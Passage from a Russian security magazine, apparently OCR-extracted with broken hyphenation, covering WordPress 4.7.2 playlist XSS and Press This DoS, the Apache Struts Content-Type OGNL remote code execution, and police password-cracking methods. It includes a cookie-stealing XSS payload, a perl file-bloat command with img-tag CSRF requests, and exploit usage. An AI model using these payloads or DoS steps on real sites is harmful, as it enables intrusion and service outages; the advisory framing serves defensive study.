MP 3‐файл

XSS
От кры ваем  код WordPress  и  видим,  что  фун кция 
вызыва ется, ког да в тек сте есть шорт‐тег  .

wp_playlist_shortcode()
[playlist]

:/wp-includes/media.php

1916: function wp_playlist_shortcode( $attr ) {
...
2124: add_shortcode( 'playlist', 'wp_playlist_shortcode' );

При вызове это го шорт‐тега в парамет ре   переда ются  ID прик реплен ных
ауди офай лов.  Затем  на  стра нице  записи  из  них  фор миру ется  плей‐лист.
Одна ко  наз вание  тре ка  никак  не  филь тру ется  —  здесь  и  появ ляют ся  воз ‐
можнос ти для про веде ния XSS.

ids

Пер вая —  при  выводе  плей‐лис та  соз дает ся  блок    со  спис ком
фай лов для ска чива ния. Это нуж но на тот слу чай, если в бра узе ре отклю чен
JavaScript. Наз вания попада ют в тег  .

noscript

li
:/wp-includes/media.php

2112:   <noscript>
2113:   <ol><?php
2114:   foreach ( $attachments as $att_id => $attachment ) {
2115:       printf( '<li>%s</li>', wp_get_attachment_link( $att_id ) 
);
2116:   }
2117:   ?></ol>
2118:   </noscript>

:/wp-includes/post-template.php

1495: function wp_get_attachment_link( $id = 0, $size = 'thumbnail', 
$permalink = false, $icon = false, $text = false, $attr = '' ) {
...
1514:   if ( '' === trim( $link_text ) ) {
1515:       $link_text = $_post‐>post_title;
1516:   }
...
1534:   return apply_filters( 'wp_get_attachment_link', "<a href='" .
 esc_url( $url ) . "'>$link_text</a>", $id, $size, $permalink, $icon,
 $text );
1535: }

Пос тавим в качес тве наз вания тре ка сле дующую стро ку:

</noscript><script>alert(document.cookie)</script>

Ре дак тиру ем ID3 и добав ляем XSS в наз вание тре ка

Те перь заг ружа ем трек на сайт и ука зыва ем его ID в шорт‐теге или выбира ем
в  редак торе  плей‐лис тов. Вжух — и  алерт  уже мож но  наб людать  пря мо  тут,
в редак торе.

XSS при редак тирова нии записи

Ра зуме ется, на стра нице записи то же самое.

XSS при прос мотре записи

Вто рая  XSS  типа  DOM‐based,  наз вание  тре ка  попадет  пря миком  в  код  JS‐
фун кции  .renderTracks()

:/wp-includes/js/mediaelement/wp-playlist.js

091:        renderTracks : function () {
092:            var self = this, i = 1, tracklist = $( '<div 
class="wp‐playlist‐tracks"></div>' );
093:            this.tracks.each(function (model) {
094:                if ( ! self.data.images ) {
095:                    model.set( 'image', false );
096:                }
097:                model.set( 'artists', self.data.artists );
098:                model.set( 'index', self.data.tracknumbers ? i : 
false );
099:                tracklist.append( self.itemTemplate( model.toJSON
() ) );
100:                i += 1;
101:            });
102:            this.$el.append( tracklist );
103:
104:            this.$( '.wp‐playlist‐item' ).eq(0).addClass( this.
playingClass );
105:        },

Плей‐лис ты с XSS могут соз давать толь ко поль зовате ли, у которых есть флаг
.  По  умол чанию  это  роли  Admin  и  Editor.  Вооб ще,  необя ‐

затель но заг ружать файл, который уже содер жит экс пло ит в ID3, мож но прос ‐
то пере име новать любой сущес тву ющий.

unfiltered_html

DoS
Пе рехо дим к сле дующей уяз вимос ти — отка зу в обслу жива нии. В WordPress
есть  такая  шту ка,  как  Press  This.  Это  что‐то  вро де  Evernote,  толь ко  дан ные
со стра ницы попада ют в запись в бло ге. С переда ваемо го URL собира ются
все воз можные встра иваемые эле мен ты  типа  кар тинок,  видео и  про чее. Эта
фун кция не защище на токеном CSRF, поэто му, если адми нис тра тор перей дет
по  ссыл ке  ,
скрипт  соберет  дан ные  с  передан ного  URL  и  соз даст  чер новик  записи
с ними.

/wp‐admin/press‐this.php?u=URL&url‐scan‐submit=Scan

Вот как это работа ет изнутри.
:/wp-admin/press-this.php

23: $wp_press_this = new WP_Press_This();
24: $wp_press_this‐>html();

:/wp-admin/includes/class-wp-press-this.php

1216:   public function html() {
...
1221:       // Get data, new (POST) and old (GET).
1222:       $data = $this‐>merge_or_fetch_data();

:/wp-admin/includes/class-wp-press-this.php

720:            if ( empty( $_POST ) && ! empty( $data['u'] ) ) {
721:                $data = $this‐>source_data_fetch_fallback( $data[
'u'], $data );

:/wp-admin/includes/class-wp-press-this.php

571:    public function source_data_fetch_fallback( $url, $data = 
array() ) {
...
576:        // Download source page to tmp file.
577:        $source_content = $this‐>fetch_source_html( $url );
...
605:        // Fetch and gather <img> data.
...
610:        if ( preg_match_all( '/<img [^>]+>/', $source_content, 
$matches ) ) {
611:            $items = $this‐>_limit_array( $matches[0] );

Соз дание записи через фун кцию Press This

Так как раз меры заг ружа емых фай лов не огра ничи вают ся, мы можем выз вать
отказ  в  обслу жива нии,  соз дав  огромные  фай лы.  Нап ример,  так: 

.
perl  ‐e

'print "<>"x28000000' > dosme.txt
За тем нуж но заманить авто ризо ван ного адми нис тра тора на вре донос ную

стра ницу,  где  под  видом  кар тинок  будем  отправ лять  зап росы  на  уяз вимый
сер вер.

<img src='http://<wp server>/wp‐admin/press‐this.php?u=http://<
external server>/dosme.txt&url‐scan‐submit=Scan&a=b'>
<img src='http://<wp server>/wp‐admin/press‐this.php?u=http://<
external server>/dosme.txt&url‐scan‐submit=Scan&a=c'>
<img src='http://<wp server>/wp‐admin/press‐this.php?u=http://<
external server>/dosme.txt&url‐scan‐submit=Scan&a=d'>
<img src='http://<wp server>/wp‐admin/press‐this.php?u=http://<
external server>/dosme.txt&url‐scan‐submit=Scan&a=e'>
<img src='http://<wp server>/wp‐admin/press‐this.php?u=http://<
external server>/dosme.txt&url‐scan‐submit=Scan&a=f'>
<img src='http://<wp server>/wp‐admin/press‐this.php?u=http://<
external server>/dosme.txt&url‐scan‐submit=Scan&a=g'>

Здесь   — уяз вимый сер вер,   — сер вер, где
находит ся боль шой файл.

<wp server> <external server>

Пос ле посеще ния такой стра ницы сайт с WordPress ста нет недос тупен.

TARGETS
WordPress < 4.7.3.

SOLUTION
Вы пуще на  новая  вер сия  WordPress  4.7.3,  где  опи сан ные  уяз вимос ти  устра ‐
нены. Обновля емся!

https://www.youtube.com/watch?v=9ib3WGhP_5k
http://lab.onsec.ru/2014/09/wordpress-392-xxe-through-media-upload.html
https://github.com/allyshka/exploits/raw/master/xss.mp3
https://github.com/WordPress/WordPress/blob/4.7.2/wp-includes/media.php#L1916
https://github.com/WordPress/WordPress/blob/4.7.2/wp-includes/media.php#L2112
https://github.com/WordPress/WordPress/blob/4.7.2/wp-includes/post-template.php#L1495
https://github.com/WordPress/WordPress/blob/4.7.2/wp-includes/js/mediaelement/wp-playlist.js#L91
https://github.com/WordPress/WordPress/blob/4.7.2/wp-admin/press-this.php#L23
https://github.com/WordPress/WordPress/blob/4.7.2/wp-admin/includes/class-wp-press-this.php#L1216
https://github.com/WordPress/WordPress/blob/4.7.2/wp-admin/includes/class-wp-press-this.php#L720
https://github.com/WordPress/WordPress/blob/4.7.2/wp-admin/includes/class-wp-press-this.php#L571
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BRIEF
При чина уяз вимос ти — в некор рек тной логике обра бот ки сооб щений
об ошиб ках. Если текст ошиб ки содер жит язы ковые конс трук ции OGNL, то
они будут выпол нены. Таким обра зом, ата кующий может отпра вить спе циаль -
но сфор мирован ный зап рос, который пов лечет за собой исполне ние про -
изволь ного кода.

https://www.youtube.com/watch?v=fimcNF97190-

EXPLOIT
Ес ли ты сле дишь за новос тями, то уже навер няка слы шал про эту нашумев -
шую проб лему. Пред лагаю еще раз взгля нуть на при чины ее воз никно вения
и методы экс плу ата ции.

В качес тве стен да я уста новил  и пос леднюю уяз вимую
на дан ный момент вер сию  из вет ки 2.5.x под номером 2.5.10.
Как при ложе ние для тес та я взял Showcase из короб ки.

Tomcat  7.0.76
Struts  2

Пåð âûé âçãëÿä
Экс пло итов для этой уяз вимос ти написа но уже великое мно жес тво, я буду
опи рать ся на .этот

Для начала про тес тиру ем его работос пособ ность. Выпол няем:

python27 41570.py "http://127.0.0.1:8080/struts2‐showcase/showcase.
action" "ls"

На сер вер отправ ляет ся зап рос POST, содер жащий некор рек тный заголо вок
Content-Type, в котором и находит ся вре донос ный код.

Ус пешная экс плу ата ция. Выпол нена коман да ls

Экс пло ит отра ботал успешно, коман да выпол нилась, а в кон соль Tomcat упа -
ло исклю чение. В нем мож но наб людать передан ный экс пло итом хидер.

Ис клю чение, выз ванное работой экс пло ита

Дå òàëè óÿç âèìîñ òè
Заг лядыва ем в исходнич ки. Наш путь начина ется с фай ла .Dispatcher.java

:/core/src/main/java/org/apache/struts 2/dispatcher/Dispatcher.java

794:     public HttpServletRequest wrapRequest(HttpServletRequest 
request) throws IOException {
...
800:         String content_type = request.getContentType();
801:         if (content_type != null && content_type.contains(
"multipart/form‐data")) {
802:             MultiPartRequest mpr = getMultiPartRequest();
803:             LocaleProvider provider = getContainer().getInstance
(LocaleProvider.class);
804:             request = new MultiPartRequestWrapper(mpr, request, 
getSaveDir(), provider, disableRequestAttributeValueStackLookup);
...
818:     protected MultiPartRequest getMultiPartRequest() {
819:         MultiPartRequest mpr = null;
...
827:         if (mpr == null ) {
828:             mpr = getContainer().getInstance(MultiPartRequest.
class);
829:         }
830:         return mpr;

Обер тка  выпол няет про вер ку на наличие стро ки 
 в хидере . Далее обра бот ка зап роса про дол жает ся

в фун кцию , которая переда ет управле ние пар -
серу ( ), ука зан ному в нас трой ке 

.

wrapRequest multipart/
form‐data Content‐Type

MultiPartRequestWrapper
MultiPartRequest.class struts.multi‐

part.parser
:/core/src/main/java/org/apache/struts 2/dispatcher/Dispatcher.java

077: public class Dispatcher {
...
262:     @Inject(StrutsConstants.STRUTS_MULTIPART_PARSER)
263:     public void setMultipartHandler(String val) {
264:         multipartHandlerName = val;
265:     }

:
/core/src/main/java/org/apache/struts 2/config/DefaultBeanSelectionPro-

vider.java

361: public class DefaultBeanSelectionProvider extends Abstra
ctBeanSelectionProvider {
...
395:         alias(MultiPartRequest.class, StrutsConstants.STRUTS
_MULTIPART_PARSER, builder, props, Scope.PROTOTYPE);

:/core/src/main/java/org/apache/struts 2/StrutsConstants.java

136:     /**
137:      * The org.apache.struts2.dispatcher.multipart.MultiP
artRequest parser implementation
138:      * for a multipart request (file upload)
139:      */
140:     public static final String STRUTS_MULTIPART_PARSER = 
"struts.multipart.parser";

:
/plugins/config-browser/src/main/java/org/apache/struts -

2/config_browser/ShowBeansAction.java

47: public class ShowBeansAction extends ActionNamesAction {
...
51:     @Inject
52:     public void setContainer(Container container) {
...
61:         bindings.put(MultiPartRequest.class.getName(), addBin
dings(container, MultiPartRequest.class, StrutsConstants.STRUTS
_MULTIPART_PARSER));

По дефол ту исполь зует ся пар сер .Jakarta
:/core/src/main/resources/org/apache/struts 2/default.properties

65: ### Parser to handle HTTP POST requests, encoded using the MIME‐
type multipart/form‐data
66: # struts.multipart.parser=cos
67: # struts.multipart.parser=pell
68: # struts.multipart.parser=jakarta‐stream
69: struts.multipart.parser=jakarta

По это му для пар синга юзер ских POST-зап росов исполь зует ся класс
. Пос мотрим на часть кода, которая обра баты вает

исклю чения.
JakartaMultiPartRequest

:
/core/src/main/java/org/apache/struts 2/dispatcher/multipart/JakartaMul-

tiPartRequest.java

34: import org.apache.struts2.dispatcher.LocalizedMessage;
...
64:     public void parse(HttpServletRequest request, String saveDir)
 throws IOException {
...
68:         } catch (FileUploadException e) {
69:             LOG.warn("Request exceeded size limit!", e);
70:             LocalizedMessage errorMessage;
...
75:                 errorMessage = buildErrorMessage(e, new Object
[]{});
...
79:                 errors.add(errorMessage);

Ме тод  клас са  нужен для того, что бы
сох ранять сооб щения об ошиб ках на язы ке текущей локали.

buildErrorMessage LocalizedMessage

:
/core/src/main/java/org/apache/struts 2/dispatcher/multipart/Abstract-

MultiPartRequest.java

019: public abstract class AbstractMultiPartRequest implements MultiP
artRequest {
...
091:     /**
092:      * Build error message.
...
098:     protected LocalizedMessage buildErrorMessage(Throwable e, 
Object[] args) {
...
102:         return new LocalizedMessage(this.getClass(), errorKey, e
.getMessage(), args);
103:     }

Сам про цесс заг рузки фай лов кон тро лиру ется клас сом 
. И если обра бот чик зап роса воз вра щает какие-то ошиб ки, то он пыта -

ется их отоб разить.

FileUploadInter‐
ceptor

:
/core/src/main/java/org/apache/struts 2/interceptor/FileUploadIntercept-

or.java

183: public class FileUploadInterceptor extends AbstractInterceptor {
...
237:     public String intercept(ActionInvocation invocation) throws 
Exception {
...
259:         MultiPartRequestWrapper multiWrapper = (MultiPartReques
tWrapper) request;
260:
261:         if (multiWrapper.hasErrors()) {
262:             for (LocalizedMessage error : multiWrapper.getErrors
()) {
263:                 if (validation != null) {
264:                     validation.addActionError(LocalizedTextUtil.
findText(error.getClazz(), error.getTextKey(), ActionContext.getCon
text().getLocale(), error.getDefaultMessage(), error.getArgs()));
265:                 }
266:             }
267:         }

Ме тод  ищет сох ранен ный текст ошиб ки по ее .LocalizedTextUtil.ndText ти пу
До пус тим, текст най ден. Теперь дело за его отоб ражени ем. Вот тут и про -

исхо дит магия. Если в тек сте ошиб ки име ются конс трук ции типа  или 
, то они попада ют в пар сер выраже ний OGNL и выпол няют ся. А как ты

пом нишь, сооб щение об ошиб ке, которую вызыва ет экс пло ит, содер жит
в себе текст из хидера . Бла года ря гиб кости язы ка OGNL мы
можем выпол нять про изволь ный код, изме няя заголо вок.

${...} %
{...}

Content‐Type

Обыч но эту проб лему пре под носят как «ошиб ку в пар сере Jakarta». 
Од нако это не так. Проб лема гораз до шире, и ее мож но экс плу ати ровать
через любые дру гие пар серы. Нуж но толь ко най ти спо собы выз вать сооб -
щение об ошиб ке, текст в которой мож но кон тро лиро вать.

Про новый век тор экс плу ата ции этой уяз вимос ти ты можешь про читать
.здесь

TARGETS
Apache Struts 2.3.5–2.3.31;•
Apache Struts 2.5–2.5.10.•

SOLUTION
Об новляй ся до пос ледних вер сий дис три бути ва. Начиная со Struts
2.3.32 и Struts 2.5.10.1 уяз вимость успешно запат чена. Патч мож но пос -
мотреть .тут

https://www.youtube.com/watch?v=fimcNF97190
https://www.exploit-db.com/exploits/41570/
https://github.com/apache/struts/blob/STRUTS_2_5_10/core/src/main/java/org/apache/struts2/dispatcher/Dispatcher.java#L794
https://github.com/apache/struts/blob/STRUTS_2_5_10/core/src/main/java/org/apache/struts2/dispatcher/Dispatcher.java#L77
https://github.com/apache/struts/blob/STRUTS_2_5_10/core/src/main/java/org/apache/struts2/config/DefaultBeanSelectionProvider.java#L361
https://github.com/apache/struts/blob/STRUTS_2_5_10/core/src/main/java/org/apache/struts2/StrutsConstants.java#L136
https://github.com/apache/struts/blob/STRUTS_2_5_10/plugins/config-browser/src/main/java/org/apache/struts2/config_browser/ShowBeansAction.java#L47
https://github.com/apache/struts/blob/STRUTS_2_5_10/core/src/main/resources/org/apache/struts2/default.properties#L65
https://github.com/apache/struts/blob/STRUTS_2_5_10/core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java#L34
https://github.com/apache/struts/blob/STRUTS_2_5_10/core/src/main/java/org/apache/struts2/dispatcher/multipart/AbstractMultiPartRequest.java#L19
https://github.com/apache/struts/blob/STRUTS_2_5_10/core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java#L183
http://bit.ly/2qO8HDm
https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-ErrorMessages
https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#.WNB2g3M6LqC
https://git-wip-us.apache.org/repos/asf?p=struts.git;a=commitdiff;h=6b8272ce47160036ed120a48345d9aa884477228


 ЭКСПЕРТЫ
ПРАВООХРАНИТЕЛЬНЫХ ОРГАНОВ

КАК ВСКРЫВАЮТ ПАРОЛИ

Олег Афонин

ВЗЛОМ

Ха керы,  мошен ники,  работ ники  IT‐безопас ности,  следс твен ные  орга ны
и спец служ бы — все они при опре делен ных обсто ятель ствах могут попытать ‐
ся доб рать ся до информа ции, защищен ной с помощью паролей. И если инс ‐
тру мен ты,  которы ми поль зуют ся  хакеры и спец служ бы,  в целом прак тичес ки
сов пада ют, то под ход к задаче отли чает ся кар диналь ным обра зом. За исклю ‐
чени ем еди нич ных дел, на рас кры тие которых могут быть бро шены огромные
силы,  эксперт работа ет  в рам ках жес тких огра ниче ний  как по ресур сам,  так
и по вре мени, которое он может пот ратить на взлом пароля. Какие под ходы
исполь зуют  пра воох ранитель ные  орга ны  и  чем  они  отли чают ся  от  работы
хакеров — тема сегод няшне го матери ала.

Опи сан ная в статье методи ка поис ка и под бора
пaро лей не нова, но дейcтви тель но исполь зует ся
рядом спец служб при поим ке прес тупни ков.

ДОБРЫМ СЛОВОМ И ПИСТОЛЕТОМ
Ра зуме ется,  в  пер вую  оче редь  пред ста вите ли  орга нов  безопас ности  дей ‐
ству ют методом убеж дения. «Ты не вый дешь отсю да, пока не раз бло киру ешь
телефон», —  говорят  они  задер жанно му,  положив  перед  ним  документ,  где
англий ским по белому  написа но,  что  «предъ яви тель  сего  име ет  пра во  дос ‐
мотреть содер жимое мобиль ных устрой ств» задер жанно го. Вот толь ко о том,
что задер жанный обя зан собс твен ный телефон раз бло киро вать, в докумен те
ни сло ва. Что совер шенно не меша ет орга нам безопас ности без застен чиво
поль зовать ся пра вом, которо го у них нет.

Труд но в такое поверить? На самом деле не очень: пос ледний такой слу ‐
чай про изо шел бук валь но на днях. Аме рикан ский граж данин Сидд Бик канна ‐
вар  (Sidd  Bikkannavar),  работа ющий  в  NASA,  был  задер жан  на  гра нице
при  въез де  в  стра ну;  имен но  «сло вом  и  пис толетом»  его    раз бло ‐
киро вать кор поратив ный смар тфон.

убе дили

Да, ты не обя зан сви детель ство вать про тив самого себя и выдавать свои
пароли. Этот прин цип наг лядно иллюс три рует ся оче ред ным слу чаем. Подоз ‐
рева емый в хра нении дет ской пор ногра фии   за то, что
отка зыва ется  сооб щить  пароли  от  зашиф рован ных  дис ков.  Пре зум пция
невинов ности? Не, не слы шали.

си дит уже 16 месяцев

Впро чем, подоб ные меры мож но при менять не всег да и не ко всем. Мел ‐
кого мошен ника,  брач ного  афе рис та  или  прос то  любите ля  накачать музыки
«про  запас»  без  внят ных  доказа тель ств  в  тюрь му  не  зап решь,  рав но  как  и
серь езно го прес тупни ка с день гами и адво ката ми. Дан ные при ходит ся рас ‐
шифро вывать,  а  пароли — вскры вать. И  если  в  делах,  свя зан ных  с  тяж кими
прес тупле ниями  и  угро зой  наци ональ ной  безопас ности  (тер роризм),  руки
у  экспер тов  раз вязаны,  а  огра ниче ний  (финан совых  и  тех ничес ких)  прак ‐
тичес ки нет, то в осталь ных 99,9% слу чаев эксперт жес тко огра ничен как дос ‐
тупны ми  вычис литель ными  воз можнос тями  лабора тории,  так  и  вре мен ными
рам ками.

А как с этим обсто ят дела в Рос сии? На гра нице устрой ства раз бло киро ‐
вать  пока  не  зас тавля ют,  но…  про цити рую  экспер та,  который  занима ется
извле чени ем информа ции с телефо нов и компь юте ров задер жанных: «Самый
дей ствен ный спо соб узнать пароль — это зво нок сле дова телю».

ЧТО МОЖНО СДЕЛАТЬ ЗА 45 МИНУТ? А ЗА ДВА ДНЯ?
Филь мы  не  всег да  врут.  На  одной  из  выс тавок  ко  мне  подошел  человек,
в котором я сра зу опоз нал началь ника полицей ско го учас тка: боль шой, лысый
и  чер нокожий.  Информа ция  с  жетона  под твер дила  пер вое  впе чат ление.  «У
меня в учас тке штук двес ти этих… айфо нов, — с ходу начал посети тель. — Что
вы можете сде лать за 45 минут?» С такой пос танов кой воп роса мне рань ше
стал кивать ся  не  при ходи лось.  Впро чем,  на  тот  момент  (три  года  назад)
еще  были  популяр ны  устрой ства  без  ска нера  отпе чат ков,  Secure  Enclave
толь ко‐толь ко  появил ся,  а  с  уста нов кой  jailbreak  проб лем,  как  пра вило,
не воз никало. Но воп рос занозой засел у меня в голове. Дей стви тель но, а что
мож но сде лать за 45 минут? Прог ресс идет, защита усложня ется, а вре мени
у полиции боль ше не ста новит ся.

В самых нез начитель ных делах, ког да телефон или компь ютер поль зовате ‐
ля  кон фиску ются  «на  вся кий  слу чай»  (нап ример,  задер жали  за  мел кое
хулиганс тво),  у  следс твия  не  будет  ни  вре мени,  ни  сил,  ни  зачас тую  работ ‐
ников высокой ква лифи кации для вскры тия пароля. Не уда лось раз бло киро ‐
вать телефон за 45 минут? Обра тим ся к ули кам, соб ранным более тра дици ‐
онным  обра зом.  Если  за  каж дое  зашиф рован ное  устрой ство  каж дого  мел ‐
кого хулига на бить ся до пос ледне го, ресур сов не хва тит ни на что дру гое.

В более серь езных слу чаях, ког да кон фиску ется в том чис ле и компь ютер
подоз рева емо го,  следс твие  может  при ложить  и  более  серь езные  уси лия.
Опять же, от стра ны, от тяжес ти прес тупле ния, от важ ности имен но циф ровых
улик  будет  зависеть  и  количес тво  ресур сов,  которые  мож но  зат ратить
на взлом.

В раз говорах с полицей ски ми раз ных стран чаще все го воз никала циф ра
«два дня», при этом под разуме валось, что задача ложит ся на сущес тву ющий
клас тер  из  пары  десят ков  компь юте ров.  Два  дня  на  вскры тие  паролей,
которы ми защище ны, к при меру, крип токон тей неры BitLocker или докумен ты
в фор мате Office 2013, — не слиш ком ли мало? Ока зыва ется, нет.

КАК ОНИ ЭТО ДЕЛАЮТ
Инс тру мен ты для взло ма паролей у полиции были изна чаль но, но пол ноцен но
при менять их научи лись не так дав но. К при меру, полицию всег да инте ресо ‐
вали  пароли,  которые  мож но  извлечь  из  компь юте ра  подоз рева емо го,  —
но  извле кали  их  сна чала  вруч ную,  потом —  при  помощи  еди нич ных  ути лит,
которые мог ли, нап ример, получить толь ко пароль от  ICQ или толь ко пароль
к учет ным записям в Outlook. Но в пос ледние нес коль ко лет в полиции приш ‐
ли к исполь зованию инс тру мен тов «всё в одном», которые ска ниру ют жес ткий
диск и Registry устрой ства и сох раня ют в файл все най ден ные пароли.

Во  мно гих  слу чаях  полиция  поль зует ся  услу гами  час тных  кри мина лис ‐
тичес ких лабора торий — это каса ется как рутины, так и гром ких дел (тол стый
намек  на  про цесс  в  Сан‐Бер нарди но).  А  вот  «час тни ки»  готовы  вос поль ‐
зовать ся  самыми  «хакер ски ми»  метода ми:  если  ори гиналь ные  дан ные
не изме няют ся, а сле дов вме шатель ства не оста ется, то спо соб, которым был
добыт нуж ный пароль, зна чения не име ет, — в суде эксперт может сос лать ся
на ком мерчес кую тай ну и отка зать ся рас кры вать тех ничес кие детали взло ма.

Иног да дей ство вать тре бует ся быс тро: воп рос не в ресур сах, воп рос во вре ‐
мени.  Так,  в  2007  году  в  лабора торию  пос тупил  зап рос:  про пал  16‐лет ний
под росток. Родите ли обра тились  в  (тог да еще) милицию,  которая и  приш ла
в  лабора торию  с  ноут буком  про пав шего.  Ноут бук  защищен  паролем.  Было
понят но,  что  нес коль ких  месяцев  на  перебор  паролей  нет.  Пош ла  работа
по цепоч ке. Снят образ дис ка, парал лель но запуще на ата ка на пароль в Win‐
dows.  Запущен  поиск  паролей  на  дис ке.  В  резуль тате  в  Elcomsoft  Internet
Password  Breaker  был  най ден  пароль  к  поч те.  Боль ше  ничего  инте рес ного
на компь юте ре не ока залось. Ничего, что мог ло бы помочь в поис ках, в поч те
не было, но через поч товый ящик уда лось сбро сить пароль к ICQ, а там обна ‐
ружи лась перепис ка с друзь ями, из которой ста ло понят но, в какой город и к
кому «про пал» под росток. Закон чилось бла гопо луч но.

Од нако далеко не всег да у исто рий хороший конец. Нес коль ко лет назад
в  лабора торию  обра тил ся  фран цуз ский  час тный  сле дова тель.  Его  помощи
поп росила полиция: про пал извес тный спорт смен. Полетел в Монако, даль ше
сле ды теря ются. В рас поряже нии следс твия ока зал ся компь ютер спорт сме ‐
на. Про ана лизи ровав содер жимое дис ка, на  компь юте ре обна ружи ли  iTunes
и  панель  управле ния  iCloud.  Ста ло  понят но,  что  у  спорт сме на  iPhone.  Поп ‐
робова ли  получить  дос туп  к  iCloud:  пароль  неиз вестен,  но  мар кер  аутен ‐
тифика ции  (вытащи ли  из  iCloud  Control  Panel)  сра ботал.  Увы,  как  это  час то
быва ет, в облачной резер вной копии не ока залось никаких намеков на мес ‐
тонахож дение  «про пажи»,  а  сама  резер вная  копия  была  соз дана  чуть  ли
не  пол тора  месяца  назад.  Вни матель ный  ана лиз  содер жимого  поз волил
обна ружить пароль от поч ты — он был сох ранен в замет ках (тот самый «жел ‐
тый сти кер» с паролем, что бы не забыть). Заш ли в поч ту, наш ли бронь оте ля.
Полиция под хва тилась… Увы, исто рия закон чилась пло хо: спорт сме на наш ли
мер твым.

Но вер немся к нашим двум дням для взло ма. Что мож но сде лать за это вре ‐
мя?

НАСКОЛЬКО (БЕС)ПОЛЕЗНЫ СТОЙКИЕ ПАРОЛИ
Не  сом нева юсь,  ты  мно го  раз  слы шал  советы,  как  выбирать  «стой кий»
пароль. Минималь ная дли на, бук вы и циф ры, спе циаль ные сим волы… А так ли
это  важ но  на  самом  деле?  И  поможет  ли  длин ный  пароль  защитить  твои
зашиф рован ные тома и докумен ты? Давай про верим!

Для  начала —  нем ного  теории.  Нет,  мы  не  будем  в  оче ред ной  раз  пов ‐
торять  ман тру  о  длин ных  и  слож ных  паролях  и  даже  не  будем  совето вать
поль зовать ся паролех ранил ками. Прос то рас смот рим две кар тинки:

Ско рость перебо ра паролей с исполь зовани ем виде окар ты: вот BitLock‐
er и RAR 5

а вот Microsoft Office, Open Office и IBM Notes

Как  видим,  ско рость  перебо ра  для  томов  BitLocker  —  все го  860  паролей
в секун ду при исполь зовании аппа рат ного  уско рите ля на осно ве Nvidia GTS
1080  (к  сло ву,  это  дей стви тель но  быс тро).  Для  докумен тов  Microsoft  Office
2013 циф ра повыше, 7100 паролей в секун ду. Что это озна чает на прак тике?
При мер но вот это:

Та ким  обра зом,  на  очень  быс тром  компь юте ре  с  аппа рат ным  уско рите лем
пароль, сос тоящий из пяти букв и цифр, будет взло ман за день. Если в том же
пятиз начном пароле затешет ся хотя бы один спе циаль ный сим вол (знак пре ‐
пина ния, #$%^ и подоб ное), ломать его при дет ся уже две‐три недели. Но пять
зна ков — мало!  Сред няя  дли на  пароля  сегод ня —  восемь  сим волов,  а  это
уже далеко за пре дела ми вычис литель ных воз можнос тей даже самых мощ ных
клас теров в рас поряже нии полицей ских.

Тем  не  менее  боль шинс тво  паролей  все‐таки  вскры вает ся,  и  имен но
за два дня или даже быс трее, при чем вне зависи мос ти от дли ны и слож ности.
Как  так?  Неуже ли  полицей ские,  как  в  филь мах,  узна ют  имя  собач ки  подоз ‐
рева емо го и год рож дения его дочери? Нет, все гораз до про ще и эффектив ‐
нее, если говорить не о каж дом отдель ном слу чае, а о ста тис тичес ких показа ‐
телях. А с точ ки зре ния ста тис тики гораз до выгод нее исполь зовать под ходы,
которые работа ют в «боль шинс тве» слу чаев, даже если они не дадут резуль ‐
тата в кон крет ном деле.

СКОЛЬКО У ТЕБЯ ПАРОЛЕЙ?
Я под счи тал: у меня 83 уни каль ных пароля. Нас коль ко они на самом деле уни ‐
каль ны — раз говор отдель ный; пока прос то запом ним, что у меня их 83. А вот
у  сред него  поль зовате ля  уни каль ных  паролей  гораз до  мень ше.  По  дан ным
опро сов,  у  сред него  англо языч ного  поль зовате ля  27  учет ных  записей
в онлай новых сер висах. Спо собен ли такой поль зователь запом нить 27 уни ‐
каль ных, крип тогра фичес ки слож ных паролей? Ста тис тичес ки — не спо собен.
Поряд ка 60% поль зуют ся десят ком паролей плюс их нез начитель ными вари ‐
ациями (password, password 1, ну, так и быть, — Password 1234, если сайт тре ‐
бует длин ный и слож ный пароль). Этим без застен чиво поль зуют ся спец служ ‐
бы.

Ес ли  есть  дос туп  к  компь юте ру  подоз рева емо го,  то  извлечь  из  него
десяток‐дру гой  паролей —  воп рос  тех ники  и  нес коль ких  минут.  К  при меру,
мож но  вос поль зовать ся  прог раммой  Elcomsoft  Internet  Password  Breaker,
которая вытас кива ет пароли из бра узе ров (Chrome, Opera, Firefox, Edge, Inter‐
net Explorer, Yandex) и поч товых кли ентов (Outlook, Thunderbird и дру гие).

В ней мож но прос то поб родить по хра нили щам паролей, а мож но нажать
Export,  в  резуль тате  чего  за  счи таные  секун ды  все  дос тупные  пароли  будут
извле чены  из  всех  под держи ваемых  источни ков  и  сох ранены  в  тек сто вый
файл (дуб ликаты уда ляют ся). Вот этот‐то тек сто вый файл и есть готовый сло ‐
варь,  который в даль нейшем исполь зует ся для вскры тия паролей, которы ми
зашиф рованы фай лы с серь езной защитой.

Из вле каем пароли из бра узе ров и поч товых кли ентов

До пус тим, у нас есть файл P&L.docx, извле чен ный с компь юте ра поль зовате ‐
ля, и есть сло варик из его паролей от нес коль ких десят ков (или даже сот ни)
учет ных  записей.  Поп робу ем  вос поль зовать ся  пароля ми  для  рас шифров ки
докумен та. С этим может помочь прак тичес ки любая прог рамма для перебо ‐
ра паролей,  которая под держи вает фор мат докумен тов MS Office 2013. Нам
при выч нее Elcomsoft Distributed Password Recovery.

Ата ка про исхо дит в  три эта па. На пер вом эта пе прос то под клю чаем сло ‐
варь «как есть».

Этот  этап  занима ет  доли  секун ды;  веро ятность  успе ха  «здесь  и  сей час» —
поряд ка 60% для сред неста тис тичес кого поль зовате ля (не хакера, не айтиш ‐
ника и не кибер прес тупни ка).

Вто рой этап — исполь зует ся тот же сло варь, сос тоящий из паролей поль ‐
зовате ля, но в конец каж дого пароля дописы вают ся циф ры от 0 до 9999.

На конец,  тре тий  этап  —  тот  же  документ,  тот  же  сло варь,  но  про гоня ются
вари ации  («мутации»  в  тер миноло гии  EDPR).  На  скрин шоте  мож но  уви деть
спи сок дос тупных мутаций:

Боль шой  соб лазн —  акти виро вать  их  все,  но  прак тичес кого  смыс ла  в  этом
нем ного. Име ет смысл изу чить, как имен но кон крет ный поль зователь выбира ‐
ет свои пароли и какие имен но вари ации он исполь зует. Чаще все го это одна
или две заг лавных бук вы (вари ация case сред ней сте пени), одна или две циф ‐
ры  в  про изволь ных  мес тах  пароля  (вари ация  digit  сред ней  сте пени)  и  год,
